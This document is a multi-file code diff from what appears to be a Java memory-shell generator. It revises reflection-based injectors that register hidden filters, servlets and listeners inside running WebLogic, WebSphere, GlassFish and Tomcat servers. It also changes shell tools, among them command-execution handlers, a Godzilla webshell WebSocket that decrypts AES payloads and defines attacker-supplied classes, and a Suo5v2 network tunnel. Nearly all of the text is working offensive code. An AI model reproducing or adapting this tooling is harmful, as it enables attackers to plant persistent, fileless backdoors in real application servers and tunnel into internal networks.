+        Object serverRuntime = theOneMethod.invoke(null);
-                Object value = entry.getValue();
+        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
-                Object managedResource = getFieldValue(value, "managedResource");
+        getApplicationRuntimesMethod.setAccessible(true);
-                if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
+        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
-                    webappContexts.add(getFieldValue(managedResource, "context"));
+        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
+        for (int i = 0; i < applicationRuntimeSize; i++) {
+            Object applicationRuntime = Array.get(applicationRuntimes, i);
+            try {
+                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
+                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
+                int componentRuntimeSize = Array.getLength(componentRuntimes);
+                for (int j = 0; j < componentRuntimeSize; j++) {
+                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
+                    if (webAppServletContextClass.isInstance(context)) {
+                        webappContexts.add(context);
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+
+            try {
+                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
+                for (Object componentRuntime : childrenSet) {
+                    try {
+                        Object context = getFieldValue(componentRuntime, "context");
+                        if (webAppServletContextClass.isInstance(context)) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContextsByThreads() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread != null) {
+                Object workEntry = getFieldValue(thread, "workEntry");
+                if (workEntry != null) {
+                    try {
+                        Object context = null;
+                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                        if (connectionHandler != null) {
+                            Object request = getFieldValue(connectionHandler, "request");
+                            if (request != null) {
+                                context = getFieldValue(request, "context");
+                            }
+                        }
+                        if (context == null) {
+                            context = getFieldValue(workEntry, "context");
+                        }
+
+                        if (context != null) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
                 }
             }
         }
+        return webappContexts.toArray();
+    }
+
+    public static Set<Object> getContext() {
+        Set<Object> webappContexts = new HashSet<Object>();
         try {
-            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
-            Object request = null;
+        } catch (Throwable ignored) {
-            try {
+        }
-                Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+        try {
-                request = getFieldValue(connectionHandler, "request");
+            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
-            } catch (Exception x) {
-                // WebLogic 10.3.6
-                request = workEntry;
-            }
-            if (request != null) {
-                webappContexts.add(getFieldValue(request, "context"));
-            }
         } catch (Throwable ignored) {
         }
         return webappContexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java

@@ -1,15 +1,15 @@
 package com.reajason.javaweb.memshell.injector.weblogic;
 
-import javax.management.MBeanServer;
 import javax.servlet.Servlet;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
-import java.lang.management.ManagementFactory;
+import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Map;
 import java.util.Set;
@@ -45,7 +45,7 @@ public class WebLogicServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -80,39 +80,88 @@ public class WebLogicServletInjector {
         return c + "(" + r + ")";
     }
 
-
+    public static Object[] getContextsByMbean() throws Throwable {
-    /**
-     * weblogic.servlet.internal.WebAppServletContext
-     * /opt/oracle/wls1036/server/lib/weblogic.jar
-     * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
-     */
-    public static Set<Object> getContext() throws Exception {
         Set<Object> webappContexts = new HashSet<Object>();
-        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
+        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
-        Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
+        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
-        for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
+        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
-            String key = entry.getKey();
+        theOneMethod.setAccessible(true);
-            if (key.contains("Type=WebAppComponentRuntime")) {
+        Object serverRuntime = theOneMethod.invoke(null);
-                Object value = entry.getValue();
+        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
-                Object managedResource = getFieldValue(value, "managedResource");
+        getApplicationRuntimesMethod.setAccessible(true);
-                if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
+        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
-                    webappContexts.add(getFieldValue(managedResource, "context"));
+        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
+        for (int i = 0; i < applicationRuntimeSize; i++) {
+            Object applicationRuntime = Array.get(applicationRuntimes, i);
+            try {
+                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
+                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
+                int componentRuntimeSize = Array.getLength(componentRuntimes);
+                for (int j = 0; j < componentRuntimeSize; j++) {
+                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
+                    if (webAppServletContextClass.isInstance(context)) {
+                        webappContexts.add(context);
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+
+            try {
+                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
+                for (Object componentRuntime : childrenSet) {
+                    try {
+                        Object context = getFieldValue(componentRuntime, "context");
+                        if (webAppServletContextClass.isInstance(context)) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContextsByThreads() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread != null) {
+                Object workEntry = getFieldValue(thread, "workEntry");
+                if (workEntry != null) {
+                    try {
+                        Object context = null;
+                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                        if (connectionHandler != null) {
+                            Object request = getFieldValue(connectionHandler, "request");
+                            if (request != null) {
+                                context = getFieldValue(request, "context");
+                            }
+                        }
+                        if (context == null) {
+                            context = getFieldValue(workEntry, "context");
+                        }
+
+                        if (context != null) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
                 }
             }
         }
+        return webappContexts.toArray();
+    }
+
+    public static Set<Object> getContext() {
+        Set<Object> webappContexts = new HashSet<Object>();
         try {
-            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
-            Object request = null;
+        } catch (Throwable ignored) {
-            try {
+        }
-                Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+        try {
-                request = getFieldValue(connectionHandler, "request");
+            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
-            } catch (Exception x) {
-                // WebLogic 10.3.6
-                request = workEntry;
-            }
-            if (request != null) {
-                webappContexts.add(getFieldValue(request, "context"));
-            }
         } catch (Throwable ignored) {
         }
         return webappContexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.memshell.injector.websphere;
 
+import javax.servlet.Filter;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -8,12 +9,14 @@ import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.HashSet;
-import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 
 /**
+ * tested v7、v8
+ * update  2023/07/08
+ *
  * @author ReaJason
  */
 public class WebSphereFilterInjector {
@@ -43,7 +46,7 @@ public class WebSphereFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -84,32 +87,11 @@ public class WebSphereFilterInjector {
      */
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
-        Object[] threadLocals = null;
+        Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        boolean raw = false;
+        for (Object wsThreadLocal : wsThreadLocals) {
-        try {
-            // WebSphere Liberty
-            threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        } catch (NoSuchFieldException ignored) {
-        }
-        if (threadLocals == null) {
-            // Open Liberty
-            threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
-            raw = true;
-        }
-        for (Object threadLocal : threadLocals) {
-            if (threadLocal == null) {
-                continue;
-            }
-            Object value = threadLocal;
-            if (raw) {
-                value = getFieldValue(threadLocal, "value");
-            }
-            if (value == null) {
-                continue;
-            }
             // for websphere 7.x
-            if (value.getClass().getName().endsWith("FastStack")) {
+            if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(value, "stack");
+                Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
@@ -117,9 +99,8 @@ public class WebSphereFilterInjector {
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
+            } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
-                Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
+                contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
-                contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
             }
         }
         return contexts;
@@ -151,42 +132,43 @@ public class WebSphereFilterInjector {
 
     @SuppressWarnings("unchecked")
     public void inject(Object context, Object filter) throws Exception {
-        Object webAppConfig = getFieldValue(context, "config");
+        Object webAppConfiguration = getFieldValue(context, "config");
-        if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+        if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
             return;
         }
 
-        Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
+        ClassLoader classLoader = context.getClass().getClassLoader();
-        Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
+        Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
-        Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
+        Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
+        Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
 
         Object filterManager = getFieldValue(context, "filterManager");
-        Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
-        invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
-        setFieldValue(filterConfig, "name", getClassName());
-        Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
-        Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
-        invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
-        invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
-
         try {
-            List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
+            // v8
-            uriFilterMappingInfos.remove(filterMapping);
+            Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
-            uriFilterMappingInfos.add(0, filterMapping);
+            // com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
-        } catch (Exception e) {
+            setFieldValue(context, "initialized", false);
-            // WebSphere7
+            Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
-            List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
+            Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
-            Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
+            setFieldValue(context, "initialized", true);
-            uriFilterMappings.add(0, fmInfo);
-        }
 
+            // com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
+            invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
+
+            // com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
+            invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
+
+        } catch (Exception e) {
+            // v7
+            Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
+            invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
+            setFieldValue(filterConfig, "dispatchMode", new int[]{0});
+            setFieldValue(filterConfig, "name", getClassName());
+            invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
+            invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
+        }
         // 清除缓存
-        Object chainCache = getFieldValue(filterManager, "chainCache");
+        invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
-        try {
-            invokeMethod(chainCache, "clear", null, null);
-        } catch (Exception e) {
-            invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
-        }
     }
 
     @Override
@@ -194,19 +176,6 @@ public class WebSphereFilterInjector {
         return msg;
     }
 
-    // bypass osgi
-    public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
-        if (context.equals(Object.class)) {
-            throw new ClassNotFoundException(className);
-        }
-        ClassLoader loader = context.getClassLoader();
-        try {
-            return loader.loadClass(className);
-        } catch (ClassNotFoundException e) {
-            return loadClass(context.getSuperclass(), className);
-        }
-    }
-
     @SuppressWarnings("all")
     public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
             Exception {
@@ -286,9 +255,13 @@ public class WebSphereFilterInjector {
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        Field field = getField(obj, name);
+        try {
-        field.setAccessible(true);
+            Field field = getField(obj, name);
-        return field.get(obj);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java

@@ -6,6 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -37,7 +38,7 @@ public class WebSphereListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -74,32 +75,11 @@ public class WebSphereListenerInjector {
 
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
-        Object[] threadLocals = null;
+        Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        boolean raw = false;
+        for (Object wsThreadLocal : wsThreadLocals) {
-        try {
-            // WebSphere Liberty
-            threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        } catch (NoSuchFieldException ignored) {
-        }
-        if (threadLocals == null) {
-            // Open Liberty
-            threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
-            raw = true;
-        }
-        for (Object threadLocal : threadLocals) {
-            if (threadLocal == null) {
-                continue;
-            }
-            Object value = threadLocal;
-            if (raw) {
-                value = getFieldValue(threadLocal, "value");
-            }
-            if (value == null) {
-                continue;
-            }
             // for websphere 7.x
-            if (value.getClass().getName().endsWith("FastStack")) {
+            if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(value, "stack");
+                Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
@@ -107,9 +87,8 @@ public class WebSphereListenerInjector {
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
+            } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
-                Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
+                contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
-                contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
             }
         }
         return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java

@@ -6,9 +6,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.*;
-import java.util.Properties;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -41,7 +39,7 @@ public class WebSphereServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -78,32 +76,11 @@ public class WebSphereServletInjector {
 
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
-        Object[] threadLocals = null;
+        Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        boolean raw = false;
+        for (Object wsThreadLocal : wsThreadLocals) {
-        try {
-            // WebSphere Liberty
-            threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
-        } catch (NoSuchFieldException ignored) {
-        }
-        if (threadLocals == null) {
-            // Open Liberty
-            threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
-            raw = true;
-        }
-        for (Object threadLocal : threadLocals) {
-            if (threadLocal == null) {
-                continue;
-            }
-            Object value = threadLocal;
-            if (raw) {
-                value = getFieldValue(threadLocal, "value");
-            }
-            if (value == null) {
-                continue;
-            }
             // for websphere 7.x
-            if (value.getClass().getName().endsWith("FastStack")) {
+            if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(value, "stack");
+                Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
@@ -111,9 +88,8 @@ public class WebSphereServletInjector {
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
+            } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
-                Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
+                contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
-                contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
             }
         }
         return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java

@@ -1,9 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
 import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
@@ -43,8 +43,8 @@ public class GlassFish extends AbstractServer {
         return InjectorMapping.builder()
                 .addInjector(LISTENER, TomcatListenerInjector.class)
                 .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
-                .addInjector(FILTER, GlassFishFilterInjector.class)
+                .addInjector(FILTER, TomcatFilterInjector.class)
-                .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
+                .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
                 .addInjector(VALVE, GlassFishValveInjector.class)
                 .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)

generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java

@@ -46,8 +46,6 @@ public class Tomcat extends AbstractServer {
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
                 .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
                 .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
-                .addInjector(BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
-                .addInjector(JAKARTA_BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
                 .addInjector(UPGRADE, TomcatUpgradeInjector.class)
                 .build();
     }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java

@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.shelltool.command;
 import org.springframework.web.servlet.ModelAndView;
 import org.springframework.web.servlet.mvc.Controller;
 
+import javax.servlet.ServletOutputStream;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.InputStream;

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.memshell.shelltool.command;
 
+import javax.servlet.ServletOutputStream;
 import javax.servlet.ServletRequestEvent;
 import javax.servlet.ServletRequestListener;
 import javax.servlet.http.HttpServletRequest;

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

@@ -1,6 +1,7 @@
 package com.reajason.javaweb.memshell.shelltool.command;
 
 import javax.servlet.ServletException;
+import javax.servlet.ServletOutputStream;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java

@@ -4,6 +4,7 @@ import javax.websocket.Endpoint;
 import javax.websocket.EndpointConfig;
 import javax.websocket.MessageHandler;
 import javax.websocket.Session;
+import java.io.ByteArrayOutputStream;
 import java.io.InputStream;
 import java.util.Scanner;
 

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java

@@ -16,6 +16,7 @@ import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLClassLoader;
 import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
 
 import static java.nio.charset.StandardCharsets.UTF_8;
 

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java

@@ -12,22 +12,21 @@ import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLClassLoader;
-import java.nio.ByteBuffer;
 
 /**
  * @author ReaJason
  * @since 2025/5/9
  */
-public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
+public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
     public static String key;
     private Session session;
     private static Class<?> payload;
 
     @Override
-    public void onMessage(ByteBuffer byteBuffer) {
+    public void onMessage(String message) {
         byte[] result = null;
         try {
-            byte[] data = byteBuffer.array();
+            byte[] data = base64Decode(message);
             data = x(data, false);
             if (payload == null || (data[0] == -54 && data[1] == -2)) {
                 payload = reflectionDefineClass(data);
@@ -45,7 +44,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
             result = getErrorMessage(e).getBytes();
         }
         try {
-            session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
+            session.getBasicRemote().sendText(base64Encode(x(result, true)));
         } catch (Exception ignored) {
         }
     }
@@ -84,6 +83,28 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
         session.addMessageHandler(this);
     }
 
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        try {
+            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
+            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
+            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) throws Exception {
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
+    }
+
     public byte[] x(byte[] s, boolean m) throws Exception {
         Cipher c = Cipher.getInstance("AES");
         c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java

@@ -248,9 +248,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 baos.write(bodyContent);
                 byte[] newBody = baos.toByteArray();
                 conn = redirect(req, new String(redirectData), newBody);
-                resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
                 OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
-                pipeStream(conn.getInputStream(), out, resp, false);
+                pipeStream(conn.getInputStream(), out, false);
             } finally {
                 if (conn != null) {
                     conn.disconnect();
@@ -347,10 +346,11 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
 
         Thread t = null;
         boolean sendClose = true;
-        final OutputStream scOutStream = socket.getOutputStream();
-        final InputStream scInStream = socket.getInputStream();
-        final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
         try {
+            final OutputStream scOutStream = socket.getOutputStream();
+            final InputStream scInStream = socket.getInputStream();
+            final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
+
             Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
             t = new Thread(p);
             t.start();
@@ -539,8 +539,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
             throw new IOException("tunnel not found");
         }
         SocketChannel sc = (SocketChannel) objs[0];
-        if (!sc.isOpen()) {
+        if (!sc.isConnected()) {
-            return;
+            throw new IOException("socket not connected");
         }
 
         byte[] data = (byte[]) dataMap.get("dt");
@@ -563,6 +563,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
             throw new IOException("tunnel not found");
         }
         SocketChannel sc = (SocketChannel) objs[0];
+        if (!sc.isConnected()) {
+            throw new IOException("socket not connected");
+        }
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
         BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
         int maxSize = 512 * 1024; // 1MB
@@ -579,10 +582,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 break; // no more data
             }
         }
-        if (!sc.isOpen() && readQueue.isEmpty()) {
-            performDelete(tunId);
-            baos.write(marshalBase64(newDel(tunId)));
-        }
         return baos.toByteArray();
     }
 
